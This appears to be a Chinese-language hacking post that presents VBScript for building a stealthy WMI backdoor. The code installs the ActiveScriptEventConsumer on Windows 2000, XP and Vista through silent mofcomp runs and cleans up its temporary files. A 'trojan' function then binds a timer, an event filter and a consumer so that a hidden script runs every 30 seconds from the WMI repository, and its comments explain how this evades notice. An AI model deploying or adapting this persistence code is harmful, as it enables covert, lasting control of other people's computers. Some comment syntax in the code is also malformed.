利用WMI打造完美三无后门(scrcons.exe)

class ActiveScriptEventConsumer : __EventConsumer
{
uint8 CreatorSID = {1,1,0,0,0,0,0,5,18,0,0,0}; //事件消费者的CreatorSID 只读
uint32 KillTimeout = 0; //脚本允许被执行的时间 默认为0，脚本不会被终止
string MachineName;
uint32 MaximumQueueSize;
string Name; //自定义的事件消费者的名字。
string ScriptingEngine; //用于解释脚本的脚本引擎。VBScript或者JScript
string ScriptFileName; //如果你想从一个文件里面读取想执行的脚本的话，写上这里吧。
string ScriptText; //用于执行的脚本代码。与ScriptFileName不共戴天。有你没我，有我没你
};

Function InstallASECForWin2K ’安装ASEC For Windows 2000’
Dim ASECPath2K
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False)
MofContent = MofFile.Readall
MofFile.Close
MofContent = Replace(MofContent,"\\Default","\\cimv2",1,1) ‘替换默认的名称空间
TempMofFile=ASECPath2K&"Temp.mof"
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True)
TempMof.Write MofContent
TempMof.close
XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE
FSO.DeleteFile(TempMofFile)
ASECStatus = "Ready"
’Wscript.Echo "ASECForWin2K Install OK!"
End Function
Function InstallASECForWinXP ’安装ASEC For Windows XP’
Dim ASECPathXP
XPASECPath = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
XShell.run "mofcomp.exe -N:root\cimv2 "&XPASECPath&"scrcons.mof",0,TRUE ’直接运行安装即可
ASECStatus = "Ready"
’Wscript.Echo "ASECForWinXP Install OK!"
End Function
Function InstallASECForVista ’安装ASEC For Windows Vista’
Dim ASECPath2K
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
Set f = FSO.GetFile(ASECPath2K&"scrcons.mof")
Set MofFile = f.OpenAsTextStream(1,-2)
’Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False)
MofContent = MofFile.Readall
MofFile.Close
MofContent = Replace(MofContent,"#pragma autorecover","",1,1) //需要删除autorecover，否则安装出错
TempMofFile=ASECPath2K&"Temp.mof"
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True)
TempMof.Write MofContent
TempMof.close
XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE
FSO.DeleteFile(TempMofFile)
ASECStatus = "Ready"
’Wscript.Echo "ASECForWinVista Install OK!"
End Function

Function InstallUpdateableTrojan
WMILink="winmgmts:\\.\root\cimv2:" //ASEC所在的名称空间
TrojanName="ScriptKids" //自定义的消费者名字，也就是你的后门的名字
TrojanRunTimer=30000 //自定义的脚本运行间隔
strtxt="" //自定义的脚本内容。为了隐蔽我们就不用scriptfilename了。会被Windows编码后写入CIM存储库
’配置事件消费者’
set Asec=getobject(WMILink&"ActiveScriptEventConsumer").spawninstance_
Asec.name=TrojanName&"_consumer"
Asec.scriptingengine="vbscript"
Asec.scripttext=strtxt
set Asecpath=Asec.put_
’配置计时器’
set WMITimer=getobject(WMILink&"__IntervalTimerInstruction").spawninstance_
WMITimer.timerid=TrojanName&"_WMITimer"
WMITimer.intervalbetweenevents=TrojanRunTimer
WMITimer.skipifpassed=false
WMITimer.put_
’配置事件过滤器’
set EventFilter=getobject(WMILink&"__EventFilter").spawninstance_
EventFilter.name=TrojanName&"_filter"
EventFilter.query="select * from __timerevent where timerid="""&TrojanName&"_WMITimer"""
EventFilter.querylanguage="wql"
set FilterPath=EventFilter.put_
’绑定消费者和过滤器’
set Binds=getobject(WMILink&"__FilterToConsumerBinding").spawninstance_
Binds.consumer=Asecpath.path
Binds.filter=FilterPath.path
Binds.put_
End Function